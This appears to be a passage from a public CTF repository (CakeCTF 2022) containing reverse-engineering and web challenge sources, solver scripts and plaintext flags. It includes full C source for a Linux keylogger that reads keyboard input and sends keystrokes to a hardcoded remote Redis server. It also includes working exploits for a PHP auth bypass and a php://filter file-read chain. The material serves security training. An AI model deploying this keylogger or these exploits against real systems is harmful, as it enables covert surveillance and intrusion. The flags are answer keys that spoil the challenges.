if (readFlag(flag)) { 78 | std::cerr << "[-] Failed to open flag." << std::endl; 79 | return 1; 80 | } 81 | if (readKey(message)) { 82 | std::cerr << "[-] Failed to read key." << std::endl; 83 | return 1; 84 | } 85 | 86 | if (!enckey.decode(message, pool)) { 87 | std::cerr << "[-] Failed to decode key." << std::endl; 88 | return 1; 89 | } 90 | if (checkMessage(enckey)) { 91 | std::cerr << "[-] Invalid key." << std::endl; 92 | return 1; 93 | } 94 | 95 | std::vector enc_flag = encryptFlag(flag, *enckey.key()); 96 | std::cout << "Encrypted flag: "; 97 | for (uint8_t c: enc_flag) { 98 | std::cout << std::setfill('0') << std::setw(2) << std::hex << (uint32_t)c; 99 | } 100 | std::cout << std::endl; 101 | 102 | return 0; 103 | } 104 | -------------------------------------------------------------------------------- /rev/kiwi/challenge/redir.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | cd /home/ctf && ./chall 3 | -------------------------------------------------------------------------------- /rev/kiwi/distfiles/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/rev/kiwi/distfiles/chall -------------------------------------------------------------------------------- /rev/kiwi/distfiles/flag.txt: -------------------------------------------------------------------------------- 1 | FakeCTF{***** REDUCTED *****} 2 | -------------------------------------------------------------------------------- /rev/kiwi/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | kiwi: 4 | build: 5 | context: . 6 | working_dir: /home/ctf 7 | container_name: kiwi 8 | ulimits: 9 | nproc: 65535 10 | core: 0 11 | ports: 12 | - "10044:9999" 13 | entrypoint: /etc/init.sh 14 | restart: always 15 | -------------------------------------------------------------------------------- /rev/kiwi/solution/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | import os 3 | 4 | HOST = os.getenv("HOST", "localhost") 5 | PORT = int(os.getenv("PORT", "10011")) 6 | 7 | sock = Socket(HOST, PORT) 8 | 9 | sock.sendlineafter("Enter key: ", "01f389fbd70c0208000000000000000000") 10 | l = sock.recvlineafter("Encrypted flag: ") 11 | flag = "" 12 | for i, c in enumerate(bytes.fromhex(l.decode())): 13 | flag += chr(c ^ i ^ 0xff) 14 | print(flag) 15 | 16 | sock.close() 17 | -------------------------------------------------------------------------------- /rev/kiwi/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: kiwi 3 | description: > 4 |

A bird that doesn't fly is nothing but farm-raised chicken...?

5 | nc {host} {port} 6 | flag: "CakeCTF{w3_n33d_t0_pr3v3nt_Google_fr0m_st4nd4rd1z1ng_ev3ryth1ng}" 7 | author: ptr-yudai 8 | host: misc.2022.cakectf.com 9 | port: 10044 10 | tags: 11 | - rev 12 | is_survey: false 13 | -------------------------------------------------------------------------------- /rev/luau/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | luac5.3 -s -o libflag.lua src_libflag.lua 3 | cp libflag.lua ../distfiles 4 | -------------------------------------------------------------------------------- /rev/luau/challenge/gen.py: -------------------------------------------------------------------------------- 1 | flag = list(b"CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}") 2 | key = list(b"CakeCTF 2022") 3 | 4 | for i in range(len(flag)): 5 | for j in range(i+1, len(flag)): 6 | flag[i], flag[j] = flag[j], flag[i] 7 | 8 | for i in range(len(flag)): 9 | flag[i] ^= key[i % len(key)] 10 | 11 | print(flag) 12 | -------------------------------------------------------------------------------- /rev/luau/challenge/main.lua: -------------------------------------------------------------------------------- 1 | local libflag = require "libflag" 2 | io.write("FLAG: ") 3 | flag = io.read("*l") 4 | if libflag.checkFlag(flag, "CakeCTF 2022") then 5 | print("Correct!") 6 | else 7 | print("Wrong...") 8 | end 9 | -------------------------------------------------------------------------------- /rev/luau/challenge/src_libflag.lua: -------------------------------------------------------------------------------- 1 | local function _checkFlag(_flag, _key) 2 | local ans = {62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34} 3 | if #_flag ~= #ans then 4 | return false 5 | end 6 | 7 | local flag = {} 8 | local key = {} 9 | for i = 1, #_flag do 10 | flag[i] = string.byte(_flag:sub(i, i+1)) 11 | end 12 | for i = 1, #_key do 13 | key[i] = string.byte(_key:sub(i, i+1)) 14 | end 15 | 16 | for i = 1, #flag do 17 | for j = i + 1, #flag do 18 | local t = flag[i] 19 | flag[i] = flag[j] 20 | flag[j] = t 21 | end 22 | end 23 | 24 | for i = 1, #flag do 25 | flag[i] = flag[i] ~ key[1 + ((i-1) % #key)] 26 | if flag[i] ~= ans[i] then 27 | return false 28 | end 29 | end 30 | 31 | return true 32 | end 33 | 34 | return { 35 | checkFlag = _checkFlag 36 | } 37 | -------------------------------------------------------------------------------- /rev/luau/distfiles/libflag.lua: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/rev/luau/distfiles/libflag.lua -------------------------------------------------------------------------------- /rev/luau/distfiles/main.lua: -------------------------------------------------------------------------------- 1 | local libflag = require "libflag" 2 | io.write("FLAG: ") 3 | flag = io.read("*l") 4 | if libflag.checkFlag(flag, "CakeCTF 2022") then 5 | print("Correct!") 6 | else 7 | print("Wrong...") 8 | end 9 | -------------------------------------------------------------------------------- /rev/luau/solution/solve.py: -------------------------------------------------------------------------------- 1 | enc = [62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34] 2 | key = list(b"CakeCTF 2022") 3 | 4 | for i in range(len(enc)): 5 | enc[i] ^= key[i % len(key)] 6 | 7 | for i in range(len(enc)-1, -1, -1): 8 | for j in range(len(enc)-1, i, -1): 9 | enc[i], enc[j] = enc[j], enc[i] 10 | 11 | flag = '' 12 | for c in enc: 13 | flag += chr(c) 14 | print(flag) 15 | -------------------------------------------------------------------------------- /rev/luau/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: luau 3 | description: > 4 |

Aloha! This is a luau for reverse engineerers!

5 | flag: "CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}" 6 | author: ptr-yudai 7 | tags: 8 | - rev 9 | is_survey: false 10 | -------------------------------------------------------------------------------- /rev/nimrev/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | nim c -r -x:off --stackTrace:off --lineTrace:off main.nim 3 | -------------------------------------------------------------------------------- /rev/nimrev/challenge/main.nim: -------------------------------------------------------------------------------- 1 | import sequtils, strutils 2 | echo if stdin.readLine == (@['\xBC', '\x9E', '\x94', '\x9A', '\xBC', '\xAB', '\xB9', '\x84', '\x8C', '\xCF', '\x92', '\xCC', '\x8B', '\xCE', '\x92', '\xCC', '\x8C', '\xA0', '\x91', '\xCF', '\x8B', '\xA0', '\xBC', '\x82'].map do (c:char) -> char: char(uint8(c).xor(0xff))).join(""): 3 | "Correct!" 4 | else: 5 | "Wrong..." 6 | -------------------------------------------------------------------------------- /rev/nimrev/distfiles/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/rev/nimrev/distfiles/chall -------------------------------------------------------------------------------- /rev/nimrev/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: nimrev 3 | description: > 4 |

Have you ever analysed programs written in languages other than C/C++?

5 | flag: "CakeCTF{s0m3t1m3s_n0t_C}" 6 | author: ptr-yudai 7 | tags: 8 | - rev 9 | - warmup 10 | is_survey: false 11 | -------------------------------------------------------------------------------- /rev/zundamon/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -o ../distfiles/zundamon -O3 3 | -------------------------------------------------------------------------------- /rev/zundamon/challenge/main.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Use of this program for purposes other than research is prohibited. 3 | * 本プログラムの研究目的以外での使用を禁ずる。 4 | */ 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #define DEV_INPUT "/dev/input" 23 | 24 | /** 25 | * Check if file is character device 26 | */ 27 | static int is_char(const struct dirent *file) { 28 | struct stat filestat; 29 | char filename[PATH_MAX]; 30 | 31 | snprintf(filename, sizeof(filename), "%s/%s", DEV_INPUT, file->d_name); 32 | 33 | if (stat(filename, &filestat)) 34 | return 0; 35 | else 36 | return S_ISCHR(filestat.st_mode); 37 | } 38 | 39 | /** 40 | * Get file descriptor of physical keyboard device 41 | */ 42 | int source(void) { 43 | int file_count; 44 | struct dirent **event_files; 45 | char filename[PATH_MAX], phys[PATH_MAX]; 46 | 47 | file_count = scandir(DEV_INPUT, &event_files, &is_char, &alphasort); 48 | if (file_count < 0) 49 | return -1; 50 | 51 | int result = -1; 52 | for (int i = 0; i < file_count; i++) { 53 | int fd; 54 | int event_bitmap = 0; 55 | int kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z; 56 | 57 | snprintf(filename, sizeof(filename), 58 | "%s/%s", DEV_INPUT, event_files[i]->d_name); 59 | if ((fd = open(filename, O_RDONLY)) == -1) 60 | continue; 61 | 62 | /* Check if this is a keyboard */ 63 | ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap); 64 | if ((EV_KEY & event_bitmap) != EV_KEY) 65 | goto skip; 66 | 67 | /* Check if this keyboard actually works */ 68 | ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap); 69 | if ((kbd_bitmap & event_bitmap) != kbd_bitmap) 70 | goto skip; 71 | 72 | /* Check if this is a physical device */ 73 | ioctl(fd, EVIOCGPHYS(sizeof(phys)), phys); 74 | if (phys[0] == 0) 75 | goto skip; 76 | 77 | result = fd; 78 | break; 79 | 80 | skip: 81 | close(fd); 82 | } 83 | 84 | for (int i = 0; i < file_count; i++) 85 | free(event_files[i]); 86 | free(event_files); 87 | 88 | return result; 89 | } 90 | 91 | #define CMD_PING "*1\r\n$4\r\nPING\r\n" 92 | 93 | int sink(void) { 94 | int sockfd; 95 | struct sockaddr_in server; 96 | 97 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) 98 | return -1; 99 | 100 | server.sin_family = AF_INET; 101 | server.sin_port = htons(6379); 102 | server.sin_addr.s_addr = inet_addr("164.70.70.9"); 103 | //server.sin_addr.s_addr = inet_addr("127.0.0.1"); 104 | connect(sockfd, (struct sockaddr*)&server, sizeof(server)); 105 | 106 | /* Send ping */ 107 | if (write(sockfd, CMD_PING, strlen(CMD_PING)) < 0) { 108 | close(sockfd); 109 | return -1; 110 | } 111 | 112 | /* Receive pong */ 113 | char buf[8]; 114 | if (read(sockfd, buf, 5) < 0) { 115 | close(sockfd); 116 | return -1; 117 | } 118 | if (memcmp(buf, "+PONG", 5)) { 119 | close(sockfd); 120 | return -1; 121 | } 122 | 123 | return sockfd; 124 | } 125 | 126 | char mac[18]; 127 | 128 | void get_target_name(int sockfd) { 129 | struct sockaddr_in addr; 130 | struct ifaddrs* ifaddr; 131 | struct ifaddrs* ifa; 132 | struct ifreq ifr; 133 | socklen_t addr_len; 134 | 135 | ifr.ifr_addr.sa_family = AF_INET; 136 | strncpy(ifr.ifr_name, "eth0", IFNAMSIZ-1); 137 | 138 | addr_len = sizeof(addr); 139 | getsockname(sockfd, (struct sockaddr*)&addr, &addr_len); 140 | getifaddrs(&ifaddr); 141 | 142 | for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) { 143 | if (!ifa->ifa_addr) continue; 144 | if (AF_INET == ifa->ifa_addr->sa_family) { 145 | struct sockaddr_in* inaddr = (struct sockaddr_in*)ifa->ifa_addr; 146 | 147 | if (inaddr->sin_addr.s_addr == addr.sin_addr.s_addr) { 148 | if (ifa->ifa_name) { 149 | strncpy(ifr.ifr_name, ifa->ifa_name, IFNAMSIZ-1); 150 | break; 151 | } 152 | } 153 | } 154 | } 155 | 156 | freeifaddrs(ifaddr); 157 | 158 | /* Get MAC address*/ 159 | ioctl(sockfd, SIOCGIFHWADDR, &ifr); 160 | snprintf(mac, sizeof(mac), "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", 161 | (unsigned char)ifr.ifr_hwaddr.sa_data[0], 162 | (unsigned char)ifr.ifr_hwaddr.sa_data[1], 163 | (unsigned char)ifr.ifr_hwaddr.sa_data[2], 164 | (unsigned char)ifr.ifr_hwaddr.sa_data[3], 165 | (unsigned char)ifr.ifr_hwaddr.sa_data[4], 166 | (unsigned char)ifr.ifr_hwaddr.sa_data[5]); 167 | } 168 | 169 | #define NUM_EVENTS 128 170 | 171 | #define CMD_SET_PREFIX "*3\r\n$5\r\nRPUSH\r\n" 172 | 173 | int exfiltrate(int fd, uint8_t value, uint16_t *code) { 174 | char buf[0x80]; 175 | 176 | if (write(fd, CMD_SET_PREFIX, strlen(CMD_SET_PREFIX)) < 0) return -1; 177 | 178 | snprintf(buf, sizeof(buf), "$%ld\r\n%s\r\n", strlen(mac), mac); 179 | if (write(fd, buf, strlen(buf)) < 0) return -1; 180 | 181 | if (write(fd, "$3\r\n", 4) < 0) return -1; 182 | if (write(fd, code, 2) < 0) return -1; 183 | if (write(fd, &value, 1) < 0) return -1; 184 | if (write(fd, "\r\n", 2) < 0) return -1; 185 | 186 | return 0; 187 | } 188 | 189 | void mainloop() { 190 | ssize_t s; 191 | struct input_event events[NUM_EVENTS]; 192 | int kbdfd, sockfd; 193 | if ((kbdfd = source()) == -1) { 194 | return; 195 | } 196 | if ((sockfd = sink()) == -1) { 197 | close(kbdfd); 198 | return; 199 | } 200 | get_target_name(sockfd); 201 | 202 | while (1) { 203 | s = read(kbdfd, events, sizeof(struct input_event) * NUM_EVENTS); 204 | if (s < 0) 205 | break; 206 | 207 | for (size_t i = 0; i < s / sizeof(struct input_event); i++) { 208 | if (events[i].type != EV_KEY) 209 | continue; 210 | 211 | if (events[i].code && 0 <= events[i].value && events[i].value <= 2) { 212 | if (exfiltrate(sockfd, events[i].value, &events[i].code) == -1) 213 | break; 214 | } 215 | } 216 | } 217 | 218 | close(kbdfd); 219 | close(sockfd); 220 | exit(0); 221 | } 222 | 223 | int main(void) { 224 | char *p = getenv("I_AGREE_TO_RUN_POSSIBLE_MALWARE_FILE"); 225 | if (!p || strcmp(p, "yes")) { 226 | puts("We can't let you run this program unless you understand what it is, nanoda!"); 227 | exit(1); 228 | } 229 | 230 | if (daemon(0, 0) == 0) { 231 | mainloop(); 232 | } else { 233 | perror("Could not run the program, nanoda!"); 234 | } 235 | return 0; 236 | } 237 | -------------------------------------------------------------------------------- /rev/zundamon/distfiles/evidence.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/rev/zundamon/distfiles/evidence.pcapng -------------------------------------------------------------------------------- /rev/zundamon/distfiles/zundamon: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/rev/zundamon/distfiles/zundamon -------------------------------------------------------------------------------- /rev/zundamon/solution/solve.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | keycodes = [ 4 | "RESERVED", "ESC", 5 | "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", 6 | "MINUS", "EQUAL", "BACKSPACE", "TAB", 7 | "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", 8 | "LEFTBRACE", "RIGHTBRACE", "ENTER", "LEFTCTRL", 9 | "A", "S", "D", "F", "G", "H", "J", "K", "L", 10 | "SEMICOLON", "APOSTROPHE", "GRAVE", "LEFTSHIFT", "BACKSLASH", 11 | "Z", "X", "C", "V", "B", "N", "M", 12 | "COMMA", "DOT", "SLASH", "RIGHTSHIFT", "KPASTERISK", 13 | "LEFTALT", "SPACE", "CAPSLOCK", 14 | "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", 15 | "NUMLOCK", "SCROLLLOCK" 16 | ] 17 | 18 | packets = rdpcap("../distfiles/evidence.pcapng") 19 | 20 | log = "" 21 | shift = False 22 | for packet in packets: 23 | if TCP in packet and packet[TCP].dport == 6379 and Raw in packet[TCP]: 24 | load = packet[TCP][Raw].load 25 | if b'$17' in load: 26 | code = int.from_bytes(load[-5:-3], 'little') 27 | value = load[-3] 28 | if code < len(keycodes): 29 | if value == 0: 30 | if "SHIFT" in keycodes[code]: 31 | shift = False 32 | 33 | elif value == 1: 34 | if "SHIFT" in keycodes[code]: 35 | shift = True 36 | else: 37 | c = keycodes[code] 38 | if len(c) == 1: 39 | log += c if shift else c.lower() 40 | else: 41 | log += "<" + c + ">" 42 | 43 | elif value == 2: 44 | log += "[" + c + "]" 45 | 46 | else: 47 | if value == 1: 48 | if code == 89: 49 | log += "_" 50 | else: 51 | log += "" 52 | 53 | print(log) 54 | -------------------------------------------------------------------------------- /rev/zundamon/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: zundamon 3 | description: > 4 |

I found a suspicious process named "zundamon" running on my computer. Can you investigate the communication logs to confirm that no information has been leaked?


5 |

This program may harm your computer. Do not run it outside sandbox.

6 | flag: "CakeCTF{b3_c4r3fuL_0f_m4l1c10us_k3yL0gg3r}" 7 | author: ptr-yudai 8 | tags: 9 | - rev 10 | - forensics 11 | is_survey: false 12 | -------------------------------------------------------------------------------- /web/cakegear/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8-apache 2 | 3 | ADD challenge/flag.txt / 4 | RUN chmod 444 /flag.txt 5 | 6 | RUN apt update 7 | 8 | WORKDIR /var/www/html 9 | 10 | ADD distfiles/index.php ./ 11 | ADD distfiles/admin.php ./ 12 | RUN chown -R root:www-data ./ 13 | RUN chmod -R 440 ./ 14 | RUN chmod 550 ./ 15 | -------------------------------------------------------------------------------- /web/cakegear/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP} 2 | -------------------------------------------------------------------------------- /web/cakegear/distfiles/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8-apache 2 | 3 | RUN echo "FakeCTF{neko}" > /flag.txt 4 | RUN chmod 444 /flag.txt 5 | 6 | RUN apt update 7 | 8 | WORKDIR /var/www/html 9 | 10 | ADD index.php ./ 11 | ADD admin.php ./ 12 | RUN chown -R root:www-data ./ 13 | RUN chmod -R 440 ./ 14 | RUN chmod 550 ./ 15 | -------------------------------------------------------------------------------- /web/cakegear/distfiles/admin.php: -------------------------------------------------------------------------------- 1 | 16 | 17 | 18 | 19 | 20 | control panel - CAKEGEAR 21 | 22 | 23 | 24 |

Router Control Panel

25 | 26 | 27 | 28 | 29 | 30 | 31 |
StatusUP
Router IP192.168.1.1
Your IP192.168.1.7
Access Mode
FLAG
32 | 33 | 34 | -------------------------------------------------------------------------------- /web/cakegear/distfiles/index.php: -------------------------------------------------------------------------------- 1 | username) && isset($req->password)) { 9 | if ($req->username === 'godmode' 10 | && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) { 11 | /* Debug mode is not allowed from outside the router */ 12 | $req->username = 'nobody'; 13 | } 14 | 15 | switch ($req->username) { 16 | case 'godmode': 17 | /* No password is required in god mode */ 18 | $_SESSION['login'] = true; 19 | $_SESSION['admin'] = true; 20 | break; 21 | 22 | case 'admin': 23 | /* Secret password is required in admin mode */ 24 | if (sha1($req->password) === ADMIN_PASSWORD) { 25 | $_SESSION['login'] = true; 26 | $_SESSION['admin'] = true; 27 | } 28 | break; 29 | 30 | case 'guest': 31 | /* Guest mode (low privilege) */ 32 | if ($req->password === 'guest') { 33 | $_SESSION['login'] = true; 34 | $_SESSION['admin'] = false; 35 | } 36 | break; 37 | } 38 | 39 | /* Return response */ 40 | if (isset($_SESSION['login']) && $_SESSION['login'] === true) { 41 | echo json_encode(array('status'=>'success')); 42 | exit; 43 | } else { 44 | echo json_encode(array('status'=>'error')); 45 | exit; 46 | } 47 | } 48 | ?> 49 | 50 | 51 | 52 | 53 | login - CAKEGEAR 54 | 55 | 56 | 57 |

CakeWiFi Login

58 |
59 | 60 | 61 |
62 | 63 | 64 |
65 | 66 |

67 |
68 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /web/cakegear/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | cakegear: 4 | build: . 5 | working_dir: /var/www/html 6 | container_name: cakegear 7 | ports: 8 | - "8005:80" 9 | restart: always 10 | -------------------------------------------------------------------------------- /web/cakegear/solution/solve.py: -------------------------------------------------------------------------------- 1 | import os 2 | import requests 3 | import json 4 | 5 | HOST = os.getenv("HOST", "localhost") 6 | PORT = os.getenv("PORT", 8005) 7 | 8 | r = requests.post(f"http://{HOST}:{PORT}/", 9 | data=json.dumps({ 10 | "username": 0, 11 | "password": "whatever" 12 | }), 13 | headers={"Content-Type": "application/json"}) 14 | 15 | r = requests.get(f"http://{HOST}:{PORT}/admin.php", cookies=r.cookies) 16 | print(r.text) 17 | -------------------------------------------------------------------------------- /web/cakegear/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: CakeGEAR 3 | description: > 4 |

Can you crack the login portal of CakeGEAR router?

5 | flag: "CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}" 6 | author: ptr-yudai 7 | host: web1.2022.cakectf.com 8 | port: 8005 9 | tags: 10 | - web 11 | - warmup 12 | is_survey: false 13 | -------------------------------------------------------------------------------- /web/imagesurfing/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8-apache 2 | 3 | ADD challenge/flag.txt / 4 | RUN chmod 444 /flag.txt 5 | 6 | RUN apt update 7 | RUN apt-get install -y libfreetype6-dev libjpeg62-turbo-dev libpng-dev \ 8 | && docker-php-ext-install gd 9 | 10 | WORKDIR /var/www/html 11 | 12 | ADD distfiles/index.php ./ 13 | RUN chown -R root:www-data ./ 14 | RUN chmod -R 440 ./ 15 | RUN chmod 550 ./ 16 | -------------------------------------------------------------------------------- /web/imagesurfing/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{PHP_f1lt3r_!s_cH40t1c\(^o^)/} 2 | -------------------------------------------------------------------------------- /web/imagesurfing/distfiles/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8-apache 2 | 3 | ADD flag.txt / 4 | RUN chmod 444 /flag.txt 5 | 6 | RUN apt update 7 | RUN apt-get install -y libfreetype6-dev libjpeg62-turbo-dev libpng-dev \ 8 | && docker-php-ext-install gd 9 | 10 | WORKDIR /var/www/html 11 | 12 | ADD index.php ./ 13 | RUN chown -R root:www-data ./ 14 | RUN chmod -R 440 ./ 15 | RUN chmod 550 ./ 16 | -------------------------------------------------------------------------------- /web/imagesurfing/distfiles/flag.txt: -------------------------------------------------------------------------------- 1 | FakeCTF{neko!} 2 | -------------------------------------------------------------------------------- /web/imagesurfing/distfiles/index.php: -------------------------------------------------------------------------------- 1 | 1024*1024*16) 12 | return array("File size is too large", false); 13 | 14 | /* Get mime type */ 15 | $tmp = tmpfile(); 16 | fwrite($tmp, $data); 17 | fflush($tmp); 18 | $mime = mime_content_type(stream_get_meta_data($tmp)['uri']); 19 | fclose($tmp); 20 | 21 | /* Check */ 22 | if (in_array($mime, IMAGE_MIME)) { 23 | return array($mime, $data); 24 | } else { 25 | return array("Invalid image file", false); 26 | } 27 | } 28 | 29 | if (!empty($_GET['url'])) { 30 | list($mime, $img) = get_image($_GET['url']); 31 | if ($img === false) { 32 | $err = $mime; 33 | } 34 | } 35 | ?> 36 | 37 | 38 | 39 | 40 | 41 | ImageSurfing 42 | 43 | 44 | 45 |

Image Viewer

46 |
47 | "> 51 | 53 |
54 |
55 | 56 |

Error:

57 | 58 | 59 | <?php htmlspecialchars($_GET['url']) ?> 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /web/imagesurfing/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | imagesurfing: 4 | build: . 5 | working_dir: /var/www/html 6 | container_name: imagesurfing 7 | ports: 8 | - "8001:80" 9 | restart: always 10 | -------------------------------------------------------------------------------- /web/imagesurfing/solution/solve.py: -------------------------------------------------------------------------------- 1 | url = "php://filter/convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|/resource=/flag.txt" 2 | 3 | import requests 4 | import re 5 | import base64 6 | import os 7 | from imapclient import imap_utf7 8 | 9 | HOST = "localhost" 10 | PORT = 8001 11 | 12 | r = requests.get(f"http://{HOST}:{PORT}/", params={"url": url}) 13 | b = base64.b64decode(re.findall("gif;base64,(.+)\"", r.text)[0]) 14 | v = base64.b64decode(b[len("GIF89a"):] + b'==') 15 | out = "" 16 | for c in v: 17 | if 0x20 <= c and c <= 0x7e: 18 | out += chr(c) 19 | print(f"php -r 'echo file_get_contents(\"php://filter/convert.iconv.UTF7.UTF8/resource=data:,\".urlencode(\"{out}\"));'") 20 | os.system(f"php -r 'echo file_get_contents(\"php://filter/convert.iconv.UTF7.UTF8/resource=data:,\".urlencode(\"{out}\"));'") 21 | print() 22 | -------------------------------------------------------------------------------- /web/imagesurfing/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: ImageSurfing 3 | description: > 4 |

bodega cat

5 | flag: 'CakeCTF{PHP_f1lt3r_!s_cH40t1c\(^o^)/}' 6 | author: ptr-yudai 7 | host: web1.2022.cakectf.com 8 | port: 8001 9 | tags: 10 | - web 11 | - misc 12 | is_survey: false 13 | -------------------------------------------------------------------------------- /web/openbio/distfiles/crawler/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:18-bullseye-slim 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y wget gnupg ca-certificates procps libxss1 \ 5 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \ 6 | && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \ 7 | && apt-get update 8 | RUN apt-get install -y google-chrome-stable 9 | RUN rm -rf /var/lib/apt/lists/* 10 | 11 | WORKDIR /app 12 | ADD package.json ./ 13 | RUN npm install 14 | 15 | RUN groupadd -r pptruser && useradd -r -g pptruser -G audio,video pptruser \ 16 | && mkdir -p /home/pptruser/Downloads \ 17 | && chown -R pptruser:pptruser /home/pptruser \ 18 | && chown -R pptruser:pptruser /app/node_modules 19 | 20 | ADD https://github.com/Yelp/dumb-init/releases/download/v1.2.5/dumb-init_1.2.5_x86_64 /usr/local/bin/dumb-init 21 | RUN chmod +x /usr/local/bin/dumb-init 22 | 23 | USER pptruser 24 | ADD crawler.js ./ 25 | 26 | ENTRYPOINT ["dumb-init", "--"] 27 | CMD ["node", "crawler.js"] 28 | -------------------------------------------------------------------------------- /web/openbio/distfiles/crawler/crawler.js: -------------------------------------------------------------------------------- 1 | const puppeteer = require('puppeteer'); 2 | const Redis = require('ioredis'); 3 | const connection = new Redis(6379, process.env.REDIS_HOST || "redis", {db: 1}); 4 | 5 | const wait = ms => new Promise(resolve => setTimeout(resolve, ms)); 6 | const flag = process.env.flag || "CakeCTF{**** TEST FLAG *****}"; 7 | const base_url = "http://challenge:8080"; 8 | const browser_option = { 9 | headless: true, 10 | args: [ 11 | '-wait-for-browser', 12 | '--no-sandbox', '--disable-gpu', 13 | '--js-flags="--noexpose_wasm"' 14 | ] 15 | } 16 | 17 | const crawl = async (target) => { 18 | const url = base_url + '/profile/' + target + '?report'; 19 | console.log(`[+] Crawling: ${url}`); 20 | 21 | const username = Math.random().toString(32).substring(2); 22 | const password = Math.random().toString(32).substring(2); 23 | 24 | const browser = await puppeteer.launch(browser_option); 25 | try { 26 | const page = await browser.newPage(); 27 | // Register 28 | await page.goto(base_url + '/', {timeout: 3000}); 29 | await page.type('#username', username); 30 | await page.type('#password', password); 31 | await page.click('#tab-signup'); 32 | await page.click('#signup'); 33 | await wait(1000); 34 | 35 | // Set flag to bio 36 | await page.goto(base_url + '/', {timeout: 3000}); 37 | await page.$eval('#bio', element => element.value = ''); 38 | await page.type('#bio', "You hacked me! The flag is " + flag); 39 | await page.click('#update'); 40 | await wait(1000); 41 | 42 | // Check spam page 43 | await page.goto(url, {timeout: 3000}); 44 | await wait(3000); 45 | await page.close(); 46 | } catch(e) { 47 | console.log("[-] " + e); 48 | } 49 | 50 | console.log(`[+] Crawl done`); 51 | await browser.close(); 52 